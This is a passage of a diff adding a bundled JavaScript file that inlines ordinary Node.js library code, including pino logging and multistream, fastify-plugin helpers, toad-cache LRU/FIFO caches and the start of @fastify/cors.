keys.slice(value.length); + maximumPropertiesToStringify -= value.length; + separator = ","; + } + if (deterministic) { + keys = sort(keys, comparator); + } + stack.push(value); + for (let i = 0; i < maximumPropertiesToStringify; i++) { + const key2 = keys[i]; + const tmp = stringifySimple(key2, value[key2], stack); + if (tmp !== void 0) { + res += `${separator}${strEscape(key2)}:${tmp}`; + separator = ","; + } + } + if (keyLength > maximumBreadth) { + const removedKeys = keyLength - maximumBreadth; + res += `${separator}"...":"${getItemCount(removedKeys)} not stringified"`; + } + stack.pop(); + return `{${res}}`; + } + case "number": + return isFinite(value) ? String(value) : fail ? fail(value) : "null"; + case "boolean": + return value === true ? "true" : "false"; + case "undefined": + return void 0; + case "bigint": + if (bigint5) { + return String(value); + } + // fallthrough + default: + return fail ? fail(value) : void 0; + } + } + function stringify3(value, replacer, space) { + if (arguments.length > 1) { + let spacer = ""; + if (typeof space === "number") { + spacer = " ".repeat(Math.min(space, 10)); + } else if (typeof space === "string") { + spacer = space.slice(0, 10); + } + if (replacer != null) { + if (typeof replacer === "function") { + return stringifyFnReplacer("", { "": value }, [], replacer, spacer, ""); + } + if (Array.isArray(replacer)) { + return stringifyArrayReplacer("", value, [], getUniqueReplacerSet(replacer), spacer, ""); + } + } + if (spacer.length !== 0) { + return stringifyIndent("", value, [], spacer, ""); + } + } + return stringifySimple("", value, []); + } + return stringify3; + } + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/multistream.js +var require_multistream = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/multistream.js"(exports, module) { + "use strict"; + var metadata = Symbol.for("pino.metadata"); + var { DEFAULT_LEVELS } = require_constants(); + var DEFAULT_INFO_LEVEL = DEFAULT_LEVELS.info; + function multistream(streamsArray, opts) { + streamsArray = streamsArray || []; + opts = opts || { dedupe: false }; + const streamLevels = Object.create(DEFAULT_LEVELS); + streamLevels.silent = Infinity; + if (opts.levels && typeof opts.levels === "object") { + Object.keys(opts.levels).forEach((i) => { + streamLevels[i] = opts.levels[i]; + }); + } + const res = { + write, + add, + remove, + emit, + flushSync, + end, + minLevel: 0, + lastId: 0, + streams: [], + clone: clone2, + [metadata]: true, + streamLevels + }; + if (Array.isArray(streamsArray)) { + streamsArray.forEach(add, res); + } else { + add.call(res, streamsArray); + } + streamsArray = null; + return res; + function write(data) { + let dest; + const level = this.lastLevel; + const { streams } = this; + let recordedLevel = 0; + let stream; + for (let i = initLoopVar(streams.length, opts.dedupe); checkLoopVar(i, streams.length, opts.dedupe); i = adjustLoopVar(i, opts.dedupe)) { + dest = streams[i]; + if (dest.level <= level) { + if (recordedLevel !== 0 && recordedLevel !== dest.level) { + break; + } + stream = dest.stream; + if (stream[metadata]) { + const { lastTime, lastMsg, lastObj, lastLogger } = this; + stream.lastLevel = level; + stream.lastTime = lastTime; + stream.lastMsg = lastMsg; + stream.lastObj = lastObj; + stream.lastLogger = lastLogger; + } + stream.write(data); + if (opts.dedupe) { + recordedLevel = dest.level; + } + } else if (!opts.dedupe) { + break; + } + } + } + function emit(...args) { + for (const { stream } of this.streams) { + if (typeof stream.emit === "function") { + stream.emit(...args); + } + } + } + function flushSync() { + for (const { stream } of this.streams) { + if (typeof stream.flushSync === "function") { + stream.flushSync(); + } + } + } + function add(dest) { + if (!dest) { + return res; + } + const isStream = typeof dest.write === "function" || dest.stream; + const stream_ = dest.write ? dest : dest.stream; + if (!isStream) { + throw Error("stream object needs to implement either StreamEntry or DestinationStream interface"); + } + const { streams, streamLevels: streamLevels2 } = this; + let level; + if (typeof dest.levelVal === "number") { + level = dest.levelVal; + } else if (typeof dest.level === "string") { + level = streamLevels2[dest.level]; + } else if (typeof dest.level === "number") { + level = dest.level; + } else { + level = DEFAULT_INFO_LEVEL; + } + const dest_ = { + stream: stream_, + level, + levelVal: void 0, + id: ++res.lastId + }; + streams.unshift(dest_); + streams.sort(compareByLevel); + this.minLevel = streams[0].level; + return res; + } + function remove(id) { + const { streams } = this; + const index2 = streams.findIndex((s) => s.id === id); + if (index2 >= 0) { + streams.splice(index2, 1); + streams.sort(compareByLevel); + this.minLevel = streams.length > 0 ? streams[0].level : -1; + } + return res; + } + function end() { + for (const { stream } of this.streams) { + if (typeof stream.flushSync === "function") { + stream.flushSync(); + } + stream.end(); + } + } + function clone2(level) { + const streams = new Array(this.streams.length); + for (let i = 0; i < streams.length; i++) { + streams[i] = { + level, + stream: this.streams[i].stream + }; + } + return { + write, + add, + remove, + minLevel: level, + streams, + clone: clone2, + emit, + flushSync, + [metadata]: true + }; + } + } + function compareByLevel(a, b2) { + return a.level - b2.level; + } + function initLoopVar(length, dedupe) { + return dedupe ? length - 1 : 0; + } + function adjustLoopVar(i, dedupe) { + return dedupe ? i - 1 : i + 1; + } + function checkLoopVar(i, length, dedupe) { + return dedupe ? i >= 0 : i < length; + } + module.exports = multistream; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/pino.js +var require_pino = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/pino.js"(exports, module) { + "use strict"; + var os2 = __require("node:os"); + var stdSerializers = require_pino_std_serializers(); + var caller = require_caller(); + var redaction = require_redaction(); + var time4 = require_time(); + var proto = require_proto(); + var symbols = require_symbols(); + var { configure } = require_safe_stable_stringify(); + var { assertDefaultLevelFound, mappings, genLsCache, genLevelComparison, assertLevelComparison } = require_levels(); + var { DEFAULT_LEVELS, SORTING_ORDER } = require_constants(); + var { + createArgsNormalizer, + asChindings, + buildSafeSonicBoom, + buildFormatters, + stringify: stringify2, + normalizeDestFileDescriptor, + noop: noop3 + } = require_tools(); + var { version: version3 } = require_meta(); + var { + chindingsSym, + redactFmtSym, + serializersSym, + timeSym, + timeSliceIndexSym, + streamSym, + stringifySym, + stringifySafeSym, + stringifiersSym, + setLevelSym, + endSym, + formatOptsSym, + messageKeySym, + errorKeySym, + nestedKeySym, + mixinSym, + levelCompSym, + useOnlyCustomLevelsSym, + formattersSym, + hooksSym, + nestedKeyStrSym, + mixinMergeStrategySym, + msgPrefixSym + } = symbols; + var { epochTime, nullTime } = time4; + var { pid } = process; + var hostname3 = os2.hostname(); + var defaultErrorSerializer = stdSerializers.err; + var defaultOptions = { + level: "info", + levelComparison: SORTING_ORDER.ASC, + levels: DEFAULT_LEVELS, + messageKey: "msg", + errorKey: "err", + nestedKey: null, + enabled: true, + base: { pid, hostname: hostname3 }, + serializers: Object.assign(/* @__PURE__ */ Object.create(null), { + err: defaultErrorSerializer + }), + formatters: Object.assign(/* @__PURE__ */ Object.create(null), { + bindings(bindings) { + return bindings; + }, + level(label, number4) { + return { level: number4 }; + } + }), + hooks: { + logMethod: void 0, + streamWrite: void 0 + }, + timestamp: epochTime, + name: void 0, + redact: null, + customLevels: null, + useOnlyCustomLevels: false, + depthLimit: 5, + edgeLimit: 100 + }; + var normalize = createArgsNormalizer(defaultOptions); + var serializers2 = Object.assign(/* @__PURE__ */ Object.create(null), stdSerializers); + function pino2(...args) { + const instance = {}; + const { opts, stream } = normalize(instance, caller(), ...args); + if (opts.level && typeof opts.level === "string" && DEFAULT_LEVELS[opts.level.toLowerCase()] !== void 0) opts.level = opts.level.toLowerCase(); + const { + redact, + crlf, + serializers: serializers3, + timestamp: timestamp2, + messageKey, + errorKey, + nestedKey, + base, + name, + level, + customLevels, + levelComparison, + mixin, + mixinMergeStrategy, + useOnlyCustomLevels, + formatters, + hooks, + depthLimit, + edgeLimit, + onChild, + msgPrefix + } = opts; + const stringifySafe = configure({ + maximumDepth: depthLimit, + maximumBreadth: edgeLimit + }); + const allFormatters = buildFormatters( + formatters.level, + formatters.bindings, + formatters.log + ); + const stringifyFn = stringify2.bind({ + [stringifySafeSym]: stringifySafe + }); + const stringifiers = redact ? redaction(redact, stringifyFn) : {}; + const formatOpts = redact ? { stringify: stringifiers[redactFmtSym] } : { stringify: stringifyFn }; + const end = "}" + (crlf ? "\r\n" : "\n"); + const coreChindings = asChindings.bind(null, { + [chindingsSym]: "", + [serializersSym]: serializers3, + [stringifiersSym]: stringifiers, + [stringifySym]: stringify2, + [stringifySafeSym]: stringifySafe, + [formattersSym]: allFormatters + }); + let chindings = ""; + if (base !== null) { + if (name === void 0) { + chindings = coreChindings(base); + } else { + chindings = coreChindings(Object.assign({}, base, { name })); + } + } + const time5 = timestamp2 instanceof Function ? timestamp2 : timestamp2 ? epochTime : nullTime; + const timeSliceIndex = time5().indexOf(":") + 1; + if (useOnlyCustomLevels && !customLevels) throw Error("customLevels is required if useOnlyCustomLevels is set true"); + if (mixin && typeof mixin !== "function") throw Error(`Unknown mixin type "${typeof mixin}" - expected "function"`); + if (msgPrefix && typeof msgPrefix !== "string") throw Error(`Unknown msgPrefix type "${typeof msgPrefix}" - expected "string"`); + assertDefaultLevelFound(level, customLevels, useOnlyCustomLevels); + const levels = mappings(customLevels, useOnlyCustomLevels); + if (typeof stream.emit === "function") { + stream.emit("message", { code: "PINO_CONFIG", config: { levels, messageKey, errorKey } }); + } + assertLevelComparison(levelComparison); + const levelCompFunc = genLevelComparison(levelComparison); + Object.assign(instance, { + levels, + [levelCompSym]: levelCompFunc, + [useOnlyCustomLevelsSym]: useOnlyCustomLevels, + [streamSym]: stream, + [timeSym]: time5, + [timeSliceIndexSym]: timeSliceIndex, + [stringifySym]: stringify2, + [stringifySafeSym]: stringifySafe, + [stringifiersSym]: stringifiers, + [endSym]: end, + [formatOptsSym]: formatOpts, + [messageKeySym]: messageKey, + [errorKeySym]: errorKey, + [nestedKeySym]: nestedKey, + // protect against injection + [nestedKeyStrSym]: nestedKey ? `,${JSON.stringify(nestedKey)}:{` : "", + [serializersSym]: serializers3, + [mixinSym]: mixin, + [mixinMergeStrategySym]: mixinMergeStrategy, + [chindingsSym]: chindings, + [formattersSym]: allFormatters, + [hooksSym]: hooks, + silent: noop3, + onChild, + [msgPrefixSym]: msgPrefix + }); + Object.setPrototypeOf(instance, proto()); + genLsCache(instance); + instance[setLevelSym](level); + return instance; + } + module.exports = pino2; + module.exports.destination = (dest = process.stdout.fd) => { + if (typeof dest === "object") { + dest.dest = normalizeDestFileDescriptor(dest.dest || process.stdout.fd); + return buildSafeSonicBoom(dest); + } else { + return buildSafeSonicBoom({ dest: normalizeDestFileDescriptor(dest), minLength: 0 }); + } + }; + module.exports.transport = require_transport(); + module.exports.multistream = require_multistream(); + module.exports.levels = mappings(); + module.exports.stdSerializers = serializers2; + module.exports.stdTimeFunctions = Object.assign({}, time4); + module.exports.symbols = symbols; + module.exports.version = version3; + module.exports.default = pino2; + module.exports.pino = pino2; + } +}); + +// node_modules/.pnpm/fastify-plugin@6.0.0/node_modules/fastify-plugin/lib/getPluginName.js +var require_getPluginName = __commonJS({ + "node_modules/.pnpm/fastify-plugin@6.0.0/node_modules/fastify-plugin/lib/getPluginName.js"(exports, module) { + "use strict"; + var fpStackTracePattern = /at\s(?:.*\.)?plugin\s.*\n\s*(.*)/; + var fileNamePattern = /(\w*(\.\w*)*)\..*/; + module.exports = function getPluginName(fn) { + if (fn.name.length > 0) return fn.name; + const stackTraceLimit = Error.stackTraceLimit; + Error.stackTraceLimit = 10; + try { + throw new Error("anonymous function"); + } catch (e) { + Error.stackTraceLimit = stackTraceLimit; + return extractPluginName(e.stack); + } + }; + function extractPluginName(stack) { + const m = stack.match(fpStackTracePattern); + return m ? m[1].split(/[/\\]/).slice(-1)[0].match(fileNamePattern)[1] : "anonymous"; + } + module.exports.extractPluginName = extractPluginName; + } +}); + +// node_modules/.pnpm/fastify-plugin@6.0.0/node_modules/fastify-plugin/lib/toCamelCase.js +var require_toCamelCase = __commonJS({ + "node_modules/.pnpm/fastify-plugin@6.0.0/node_modules/fastify-plugin/lib/toCamelCase.js"(exports, module) { + "use strict"; + module.exports = function toCamelCase2(name) { + if (name[0] === "@") { + name = name.slice(1).replace("/", "-"); + } + return name.replace(/-(.)/g, function(match, g1) { + return g1.toUpperCase(); + }); + }; + } +}); + +// node_modules/.pnpm/fastify-plugin@6.0.0/node_modules/fastify-plugin/index.js +var require_fastify_plugin = __commonJS({ + "node_modules/.pnpm/fastify-plugin@6.0.0/node_modules/fastify-plugin/index.js"(exports, module) { + "use strict"; + var getPluginName = require_getPluginName(); + var toCamelCase2 = require_toCamelCase(); + var count = 0; + function plugin(fn, options = {}) { + let autoName = false; + if (fn.default !== void 0) { + fn = fn.default; + } + if (typeof fn !== "function") { + throw new TypeError( + `fastify-plugin expects a function, instead got a '${typeof fn}'` + ); + } + if (typeof options === "string") { + options = { + fastify: options + }; + } + if (typeof options !== "object" || Array.isArray(options) || options === null) { + throw new TypeError("The options object should be an object"); + } + if (options.fastify !== void 0 && typeof options.fastify !== "string") { + throw new TypeError(`fastify-plugin expects a version string, instead got '${typeof options.fastify}'`); + } + if (!options.name) { + autoName = true; + options.name = getPluginName(fn) + "-auto-" + count++; + } + fn[Symbol.for("skip-override")] = options.encapsulate !== true; + fn[Symbol.for("fastify.display-name")] = options.name; + fn[Symbol.for("plugin-meta")] = options; + if (!fn.default) { + fn.default = fn; + } + const camelCase = toCamelCase2(options.name); + if (!autoName && !fn[camelCase]) { + fn[camelCase] = fn; + } + return fn; + } + module.exports = plugin; + module.exports.default = plugin; + module.exports.fastifyPlugin = plugin; + } +}); + +// node_modules/.pnpm/toad-cache@3.7.4/node_modules/toad-cache/dist/toad-cache.cjs +var require_toad_cache = __commonJS({ + "node_modules/.pnpm/toad-cache@3.7.4/node_modules/toad-cache/dist/toad-cache.cjs"(exports) { + "use strict"; + function validateCacheParams(max, ttlInMsecs) { + if (typeof max !== "number" || !Number.isInteger(max) || max < 0) { + throw new Error("Invalid max value"); + } + if (typeof ttlInMsecs !== "number" || !Number.isInteger(ttlInMsecs) || ttlInMsecs < 0) { + throw new Error("Invalid ttl value"); + } + } + var FifoMap = class { + constructor(max = 1e3, ttlInMsecs = 0) { + validateCacheParams(max, ttlInMsecs); + this.first = null; + this.items = /* @__PURE__ */ new Map(); + this.last = null; + this.max = max; + this.ttl = ttlInMsecs; + } + get size() { + return this.items.size; + } + clear() { + this.items.clear(); + this.first = null; + this.last = null; + } + delete(key) { + const deletedItem = this.items.get(key); + if (deletedItem !== void 0) { + this.items.delete(key); + if (deletedItem.prev !== null) { + deletedItem.prev.next = deletedItem.next; + } + if (deletedItem.next !== null) { + deletedItem.next.prev = deletedItem.prev; + } + if (this.first === deletedItem) { + this.first = deletedItem.next; + } + if (this.last === deletedItem) { + this.last = deletedItem.prev; + } + } + } + deleteMany(keys) { + for (var i = 0; i < keys.length; i++) { + this.delete(keys[i]); + } + } + evict() { + if (this.size > 0) { + const item = this.first; + this.items.delete(item.key); + if (this.size === 0) { + this.first = null; + this.last = null; + } else { + this.first = item.next; + this.first.prev = null; + } + } + } + expiresAt(key) { + const item = this.items.get(key); + if (item !== void 0) { + return item.expiry; + } + } + get(key) { + const item = this.items.get(key); + if (item !== void 0) { + if (this.ttl > 0 && item.expiry <= Date.now()) { + this.delete(key); + return; + } + return item.value; + } + } + getMany(keys) { + const result = new Array(keys.length); + for (var i = 0; i < keys.length; i++) { + result[i] = this.get(keys[i]); + } + return result; + } + keys() { + return this.items.keys(); + } + set(key, value) { + const existing = this.items.get(key); + if (existing !== void 0) { + existing.value = value; + existing.expiry = this.ttl > 0 ? Date.now() + this.ttl : this.ttl; + return; + } + if (this.max > 0 && this.size >= this.max) { + this.evict(); + } + const item = { + expiry: this.ttl > 0 ? Date.now() + this.ttl : this.ttl, + key, + prev: this.last, + next: null, + value + }; + this.items.set(key, item); + if (this.size === 1) { + this.first = item; + } else { + this.last.next = item; + } + this.last = item; + } + }; + var FifoObject = class { + constructor(max = 1e3, ttlInMsecs = 0) { + validateCacheParams(max, ttlInMsecs); + this.first = null; + this.items = /* @__PURE__ */ Object.create(null); + this.last = null; + this.size = 0; + this.max = max; + this.ttl = ttlInMsecs; + } + clear() { + this.items = /* @__PURE__ */ Object.create(null); + this.first = null; + this.last = null; + this.size = 0; + } + delete(key) { + const deletedItem = this.items[key]; + if (deletedItem !== void 0) { + delete this.items[key]; + this.size--; + if (deletedItem.prev !== null) { + deletedItem.prev.next = deletedItem.next; + } + if (deletedItem.next !== null) { + deletedItem.next.prev = deletedItem.prev; + } + if (this.first === deletedItem) { + this.first = deletedItem.next; + } + if (this.last === deletedItem) { + this.last = deletedItem.prev; + } + } + } + deleteMany(keys) { + for (var i = 0; i < keys.length; i++) { + this.delete(keys[i]); + } + } + evict() { + if (this.size > 0) { + const item = this.first; + delete this.items[item.key]; + if (--this.size === 0) { + this.first = null; + this.last = null; + } else { + this.first = item.next; + this.first.prev = null; + } + } + } + expiresAt(key) { + const item = this.items[key]; + if (item !== void 0) { + return item.expiry; + } + } + get(key) { + const item = this.items[key]; + if (item !== void 0) { + if (this.ttl > 0 && item.expiry <= Date.now()) { + this.delete(key); + return; + } + return item.value; + } + } + getMany(keys) { + const result = new Array(keys.length); + for (var i = 0; i < keys.length; i++) { + result[i] = this.get(keys[i]); + } + return result; + } + keys() { + return Object.keys(this.items); + } + set(key, value) { + const existing = this.items[key]; + if (existing !== void 0) { + existing.value = value; + existing.expiry = this.ttl > 0 ? Date.now() + this.ttl : this.ttl; + return; + } + if (this.max > 0 && this.size >= this.max) { + this.evict(); + } + const item = { + expiry: this.ttl > 0 ? Date.now() + this.ttl : this.ttl, + key, + prev: this.last, + next: null, + value + }; + this.items[key] = item; + if (++this.size === 1) { + this.first = item; + } else { + this.last.next = item; + } + this.last = item; + } + }; + function createEmptyStatisticsRecord() { + return { + cacheSize: 0, + hits: 0, + falsyHits: 0, + emptyHits: 0, + misses: 0, + expirations: 0, + evictions: 0, + invalidateOne: 0, + invalidateAll: 0, + sets: 0 + }; + } + var HitStatisticsRecord = class { + constructor() { + this.records = {}; + } + initForCache(cacheId, currentTimeStamp) { + this.records[cacheId] = { + [currentTimeStamp]: createEmptyStatisticsRecord() + }; + } + resetForCache(cacheId) { + if (!this.records[cacheId]) { + return; + } + for (let key of Object.keys(this.records[cacheId])) { + this.records[cacheId][key] = createEmptyStatisticsRecord(); + } + } + getStatistics() { + return this.records; + } + }; + var LruMap = class { + constructor(max = 1e3, ttlInMsecs = 0) { + validateCacheParams(max, ttlInMsecs); + this.first = null; + this.items = /* @__PURE__ */ new Map(); + this.last = null; + this.max = max; + this.ttl = ttlInMsecs; + } + get size() { + return this.items.size; + } + bumpLru(item) { + if (this.last === item) { + return; + } + const last = this.last; + const next = item.next; + const prev = item.prev; + if (this.first === item) { + this.first = next; + } + item.next = null; + item.prev = last; + last.next = item; + if (prev !== null) { + prev.next = next; + } + if (next !== null) { + next.prev = prev; + } + this.last = item; + } + clear() { + this.items.clear(); + this.first = null; + this.last = null; + } + delete(key) { + const item = this.items.get(key); + if (item !== void 0) { + this.items.delete(key); + if (item.prev !== null) { + item.prev.next = item.next; + } + if (item.next !== null) { + item.next.prev = item.prev; + } + if (this.first === item) { + this.first = item.next; + } + if (this.last === item) { + this.last = item.prev; + } + } + } + deleteMany(keys) { + for (var i = 0; i < keys.length; i++) { + this.delete(keys[i]); + } + } + evict() { + if (this.size > 0) { + const item = this.first; + this.items.delete(item.key); + if (this.size === 0) { + this.first = null; + this.last = null; + } else { + this.first = item.next; + this.first.prev = null; + } + } + } + expiresAt(key) { + const item = this.items.get(key); + if (item !== void 0) { + return item.expiry; + } + } + get(key) { + const item = this.items.get(key); + if (item !== void 0) { + if (this.ttl > 0 && item.expiry <= Date.now()) { + this.delete(key); + return; + } + this.bumpLru(item); + return item.value; + } + } + getMany(keys) { + const result = new Array(keys.length); + for (var i = 0; i < keys.length; i++) { + result[i] = this.get(keys[i]); + } + return result; + } + keys() { + return this.items.keys(); + } + set(key, value) { + const existing = this.items.get(key); + if (existing !== void 0) { + existing.value = value; + existing.expiry = this.ttl > 0 ? Date.now() + this.ttl : this.ttl; + this.bumpLru(existing); + return; + } + if (this.max > 0 && this.size >= this.max) { + this.evict(); + } + const item = { + expiry: this.ttl > 0 ? Date.now() + this.ttl : this.ttl, + key, + prev: this.last, + next: null, + value + }; + this.items.set(key, item); + if (this.size === 1) { + this.first = item; + } else { + this.last.next = item; + } + this.last = item; + } + }; + var LruObject = class { + constructor(max = 1e3, ttlInMsecs = 0) { + validateCacheParams(max, ttlInMsecs); + this.first = null; + this.items = /* @__PURE__ */ Object.create(null); + this.last = null; + this.size = 0; + this.max = max; + this.ttl = ttlInMsecs; + } + bumpLru(item) { + if (this.last === item) { + return; + } + const last = this.last; + const next = item.next; + const prev = item.prev; + if (this.first === item) { + this.first = next; + } + item.next = null; + item.prev = last; + last.next = item; + if (prev !== null) { + prev.next = next; + } + if (next !== null) { + next.prev = prev; + } + this.last = item; + } + clear() { + this.items = /* @__PURE__ */ Object.create(null); + this.first = null; + this.last = null; + this.size = 0; + } + delete(key) { + const item = this.items[key]; + if (item !== void 0) { + delete this.items[key]; + this.size--; + if (item.prev !== null) { + item.prev.next = item.next; + } + if (item.next !== null) { + item.next.prev = item.prev; + } + if (this.first === item) { + this.first = item.next; + } + if (this.last === item) { + this.last = item.prev; + } + } + } + deleteMany(keys) { + for (var i = 0; i < keys.length; i++) { + this.delete(keys[i]); + } + } + evict() { + if (this.size > 0) { + const item = this.first; + delete this.items[item.key]; + if (--this.size === 0) { + this.first = null; + this.last = null; + } else { + this.first = item.next; + this.first.prev = null; + } + } + } + expiresAt(key) { + const item = this.items[key]; + if (item !== void 0) { + return item.expiry; + } + } + get(key) { + const item = this.items[key]; + if (item !== void 0) { + if (this.ttl > 0 && item.expiry <= Date.now()) { + this.delete(key); + return; + } + this.bumpLru(item); + return item.value; + } + } + getMany(keys) { + const result = new Array(keys.length); + for (var i = 0; i < keys.length; i++) { + result[i] = this.get(keys[i]); + } + return result; + } + keys() { + return Object.keys(this.items); + } + set(key, value) { + const existing = this.items[key]; + if (existing !== void 0) { + existing.value = value; + existing.expiry = this.ttl > 0 ? Date.now() + this.ttl : this.ttl; + this.bumpLru(existing); + return; + } + if (this.max > 0 && this.size >= this.max) { + this.evict(); + } + const item = { + expiry: this.ttl > 0 ? Date.now() + this.ttl : this.ttl, + key, + prev: this.last, + next: null, + value + }; + this.items[key] = item; + if (++this.size === 1) { + this.first = item; + } else { + this.last.next = item; + } + this.last = item; + } + }; + function getTimestamp(date6) { + return `${date6.getFullYear()}-${(date6.getMonth() + 1).toString().padStart(2, "0")}-${date6.getDate().toString().padStart(2, "0")}`; + } + var HitStatistics = class { + constructor(cacheId, statisticTtlInHours, globalStatisticsRecord) { + this.cacheId = cacheId; + this.statisticTtlInHours = statisticTtlInHours; + this.collectionStart = /* @__PURE__ */ new Date(); + this.currentTimeStamp = getTimestamp(this.collectionStart); + this.archiveAfter = this.collectionStart.getTime() + this.statisticTtlInHours * 36e5; + this.records = globalStatisticsRecord || new HitStatisticsRecord(); + this.records.initForCache(this.cacheId, this.currentTimeStamp); + } + get currentRecord() { + const cacheRecords = this.records.records[this.cacheId]; + if (!cacheRecords[this.currentTimeStamp]) { + cacheRecords[this.currentTimeStamp] = createEmptyStatisticsRecord(); + } + return cacheRecords[this.currentTimeStamp]; + } + /* v8 ignore next 3 -- kept for compatibility, no longer used internally */ + hoursPassed() { + return (Date.now() - this.collectionStart) / 1e3 / 60 / 60; + } + addHit() { + this.archiveIfNeeded(); + this.currentRecord.hits++; + } + addFalsyHit() { + this.archiveIfNeeded(); + this.currentRecord.falsyHits++; + } + addEmptyHit() { + this.archiveIfNeeded(); + this.currentRecord.emptyHits++; + } + addMiss() { + this.archiveIfNeeded(); + this.currentRecord.misses++; + } + addEviction() { + this.archiveIfNeeded(); + this.currentRecord.evictions++; + } + setCacheSize(currentSize) { + this.archiveIfNeeded(); + this.currentRecord.cacheSize = currentSize; + } + addExpiration() { + this.archiveIfNeeded(); + this.currentRecord.expirations++; + } + addSet() { + this.archiveIfNeeded(); + this.currentRecord.sets++; + } + addInvalidateOne() { + this.archiveIfNeeded(); + this.currentRecord.invalidateOne++; + } + addInvalidateAll() { + this.archiveIfNeeded(); + this.currentRecord.invalidateAll++; + } + getStatistics() { + return this.records.getStatistics(); + } + archiveIfNeeded() { + if (Date.now() >= this.archiveAfter) { + this.collectionStart = /* @__PURE__ */ new Date(); + this.currentTimeStamp = getTimestamp(this.collectionStart); + this.archiveAfter = this.collectionStart.getTime() + this.statisticTtlInHours * 36e5; + this.records.initForCache(this.cacheId, this.currentTimeStamp); + } + } + }; + var LruObjectHitStatistics = class extends LruObject { + constructor(max, ttlInMsecs, cacheId, globalStatisticsRecord, statisticTtlInHours) { + super(max, ttlInMsecs); + if (!cacheId) { + throw new Error("Cache id is mandatory"); + } + this.hitStatistics = new HitStatistics( + cacheId, + statisticTtlInHours !== void 0 ? statisticTtlInHours : 24, + globalStatisticsRecord + ); + } + getStatistics() { + return this.hitStatistics.getStatistics(); + } + set(key, value) { + super.set(key, value); + this.hitStatistics.addSet(); + this.hitStatistics.setCacheSize(this.size); + } + evict() { + const hadItems = this.size > 0; + super.evict(); + if (hadItems) { + this.hitStatistics.addEviction(); + } + this.hitStatistics.setCacheSize(this.size); + } + delete(key, isExpiration = false) { + const existed = this.items[key] !== void 0; + super.delete(key); + if (existed && !isExpiration) { + this.hitStatistics.addInvalidateOne(); + } + this.hitStatistics.setCacheSize(this.size); + } + clear() { + super.clear(); + this.hitStatistics.addInvalidateAll(); + this.hitStatistics.setCacheSize(this.size); + } + get(key) { + const item = this.items[key]; + if (item !== void 0) { + if (this.ttl > 0 && item.expiry <= Date.now()) { + this.delete(key, true); + this.hitStatistics.addExpiration(); + return; + } + this.bumpLru(item); + if (!item.value) { + this.hitStatistics.addFalsyHit(); + if (item.value === void 0 || item.value === null || item.value === "") { + this.hitStatistics.addEmptyHit(); + } + } + this.hitStatistics.addHit(); + return item.value; + } + this.hitStatistics.addMiss(); + } + }; + exports.Fifo = FifoObject; + exports.FifoMap = FifoMap; + exports.FifoObject = FifoObject; + exports.HitStatisticsRecord = HitStatisticsRecord; + exports.Lru = LruObject; + exports.LruHitStatistics = LruObjectHitStatistics; + exports.LruMap = LruMap; + exports.LruObject = LruObject; + exports.LruObjectHitStatistics = LruObjectHitStatistics; + } +}); + +// node_modules/.pnpm/@fastify+cors@11.3.0/node_modules/@fastify/cors/vary.js +var require_vary = __commonJS({ + "node_modules/.pnpm/@fastify+cors@11.3.0/node_modules/@fastify/cors/vary.js"(exports, module) { + "use strict"; + var { FifoMap: FifoCache } = require_toad_cache(); + var validFieldnameRE = /^[!#$%&'*+\-.^\w`|~]+$/u; + function validateFieldname(fieldname) { + if (validFieldnameRE.test(fieldname) === false) { + throw new TypeError("Fieldname contains invalid characters."); + } + } + function parse4(header) { + header = header.trim().toLowerCase(); + const result = []; + if (header.length === 0) { + } else if (header.indexOf(",") === -1) { + result.push(header); + } else { + const il = header.length; + let i = 0; + let pos = 0; + let char2; + for (i; i < il; ++i) { + char2 = header[i]; + if (char2 === " ") { + pos = i + 1; + } else if (char2 === ",") { + if (pos !== i) { + result.push(header.slice(pos, i)); + } + pos = i + 1; + } + } + if (pos !== i) { + result.push(header.slice(pos, i)); + } + } + return result; + } + function createAddFieldnameToVary(fieldname) { + const headerCache = new FifoCache(1e3); + validateFieldname(fieldname); + return function(reply) { + let header = reply.getHeader("Vary"); + if (!header) { + reply.header("Vary", fieldname); + return; + } + if (header === "*") { + return; + } + if (fieldname === "*") { + reply.header("Vary", "*"); + return; + } + if (Array.isArray(header)) { + header = header.join(", "); + } + if (headerCache.get(header) === void 0) { + const vals = parse4(header); + if (vals.indexOf("*") !== -1) { + headerCache.set(header, "*"); + } else if (vals.indexOf(fieldname.toLowerCase()) === -1) { + headerCache.set(header, header + ", " + fieldname); + } else { + headerCache.set(header, null); + } + } + const cached2 = headerCache.get(header); + if (cached2 !== null) { + reply.header("Vary", cached2); + } + }; + } + module.exports.createAddFieldnameToVary = createAddFieldnameToVary; + module.exports.addOriginToVaryHeader = createAddFieldnameToVary("Origin"); + module.exports.addAccessControlRequestHeadersToVaryHeader = createAddFieldnameToVary("Access-Control-Request-Headers"); + module.exports.parse = parse4; + } +}); + +// node_modules/.pnpm/@fastify+cors@11.3.0/node_modules/@fastify/cors/index.js +var require_cors = __commonJS({ + "node_modules/.pnpm/@fastify+cors@11.3.0/node_modules/@fastify/cors/index.js"(exports, module) { + "use strict"; + var fp = require_fastify_plugin(); + var { + addAccessControlRequestHeadersToVaryHeader, + addOriginToVaryHeader + } = require_vary(); + var defaultOptions = { + origin: "*", + methods: "GET,HEAD,POST", + hook: "onRequest", + preflightContinue: false, + optionsSuccessStatus: 204, + credentials: false, + exposedHeaders: null, + allowedHeaders: null, + maxAge: null, + preflight: true, + strictPreflight: true + }; + var validHooks = [ + "onRequest", + "preParsing", + "preValidation", + "preHandler", + "preSerialization", + "onSend" + ]; + var hookWithPayload = [ + "preSerialization", + "preParsing", + "onSend" + ]; + function validateHook(value, next) { + if (validHooks.indexOf(value) !== -1) { + return; + } + next(new TypeError("@fastify/cors: Invalid hook option provided.")); + } + function fastifyCors(fastify, opts, next) { + fastify.decorateRequest("corsPreflightEnabled", false); + let hideOptionsRoute = true; + let logLevel; + if (typeof opts === "function") { + handleCorsOptionsDelegator(opts, fastify, { hook: defaultOptions.hook }, next); + } else if (opts.delegator) { + const { delegator, ...options } = opts; + handleCorsOptionsDelegator(delegator, fastify, options, next); + } else { + const corsOptions = normalizeCorsOptions(opts); + validateHook(corsOptions.hook, next); + if (hookWithPayload.indexOf(corsOptions.hook) !== -1) { + fastify.addHook(corsOptions.hook, function handleCors(req, reply, _payload, next2) { + addCorsHeadersHandler(fastify, corsOptions, req, reply, next2); + }); + } else { + fastify.addHook(corsOptions.hook, function handleCors(req, reply, next2) { + 